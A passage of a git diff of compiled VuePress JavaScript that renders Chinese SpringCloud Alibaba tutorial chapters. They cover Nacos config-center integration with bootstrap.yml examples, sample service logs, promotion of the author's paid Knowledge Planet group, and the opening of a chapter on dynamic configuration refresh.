punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" product_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)在Nacos中的配置信息如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-007.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)注释掉商品微服务shop-product的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("h3",{attrs:{id:"订单微服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#订单微服务整合配置中心"}},[s._v("#")]),s._v(" 订单微服务整合配置中心")]),s._v(" "),a("p",[s._v("修改订单微服务的配置过程与修改用户微服务的配置过程类似,只是部分配置项不同。")]),s._v(" "),a("p",[s._v("(1)在订单微服务shop-order的resources目录下新建bootstrap.yml文件,内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)在Nacos中的配置信息如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-008.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)注释掉订单微服务shop-order的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("h3",{attrs:{id:"网关服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#网关服务整合配置中心"}},[s._v("#")]),s._v(" 网关服务整合配置中心")]),s._v(" "),a("p",[s._v("修改网关服务的配置过程与修改用户微服务的配置过程类似,只是部分配置项不同。")]),s._v(" "),a("p",[s._v("(1)在网关服务shop-gateway的resources目录下新建bootstrap.yml文件,内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("gateway\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("allow-bean-definition-overriding")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" gateway_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br")])]),a("p",[s._v("(2)在Nacos中的配置信息如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-009.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)注释掉网关服务shop-gateway的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("h3",{attrs:{id:"查看nacos中的配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查看nacos中的配置"}},[s._v("#")]),s._v(" 查看Nacos中的配置")]),s._v(" "),a("p",[s._v("将用户微服务、商品微服务、订单微服务、网关服务的配置添加到Nacos中后,Nacos中的配置管理-配置列表如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-010.png",loading:"lazy"}})]),s._v(" "),a("h2",{attrs:{id:"整合nacos配置中心测试"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#整合nacos配置中心测试"}},[s._v("#")]),s._v(" 整合Nacos配置中心测试")]),s._v(" "),a("p",[s._v("(1)分别启动Nacos、Sentinel、ZipKin、RocketMQ的NameServer和Broker。")]),s._v(" "),a("p",[s._v("(2)分别启动用户微服务、商品微服务、订单微服务和网关服务,如果启动成功,基本就说明项目整合Nacos配置中心成功。")]),s._v(" "),a("p",[s._v("(3)启动四个服务后,在浏览器中输入"),a("code",[s._v("localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-011","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-011.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("查看各个微服务中也会打印出相关的日志,如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n用户微服务收到了订单信息:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":15235872727371776,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"totalPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("商品微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":9999"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1 \n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("订单微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("网关服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 1260ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("说明我们的项目中成功整合了Nacos的配置中心。")]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了22章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-335.js b/assets/js/cg-335.js index c8d4ab8daa2475f0502f4ac47876a46c9a88a6de..a44a49cb8113363f73e6b847b9ad5f8409669073 100644 --- a/assets/js/cg-335.js +++ b/assets/js/cg-335.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[335],{624:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第23章-服务配置-实现动态刷新与配置共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第23章-服务配置-实现动态刷新与配置共享"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第23章-服务配置:实现动态刷新与配置共享")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第23章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[s._v("#")]),s._v(" 前文回顾")]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),s._v(" "),a("p",[s._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),s._v(" "),a("p",[s._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念,并在项目中整合了Nacos配置中心。接下来,就基于Nacos实现动态刷新与配置共享。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-033","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-033.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("注意:本章中在测试每个案例时,都需要启动Nacos,Sentinel,ZipKin和RocketMQ。另外,本章对应的Nacos配置(冰河亲测的Nacos配置)放在了项目源码的doc/nacos/config/chapter23目录下,小伙伴们将Nacos的配置直接导入到Nacos的配置列表中,也可以按照文章自己手动实现。本项目完整源码加入 "),a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"实现动态刷新"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#实现动态刷新"}},[s._v("#")]),s._v(" 实现动态刷新")]),s._v(" "),a("p",[s._v("细心的小伙伴可能已经发现了,之前我们将微服务的配置放入了Nacos,但是此时如果在Nacos中修改了配置,程序是无法读取到修改后的配置的。所以,我们需要实现动态刷新的功能。")]),s._v(" "),a("p",[a("strong",[s._v("注意:为了描述上的简便,这里,我们就以用户微服务举例说明,其他微服务的实现方式都是一样的。")])]),s._v(" "),a("h3",{attrs:{id:"修改nacos配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#修改nacos配置"}},[s._v("#")]),s._v(" 修改Nacos配置")]),s._v(" "),a("p",[s._v("在Nacos中修改server-user-dev.yaml的配置,在server-user-dev.yaml配置中新增如下内容。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("author")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" binghe\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-014","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-014.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布后会弹出如下提示。")]),s._v(" 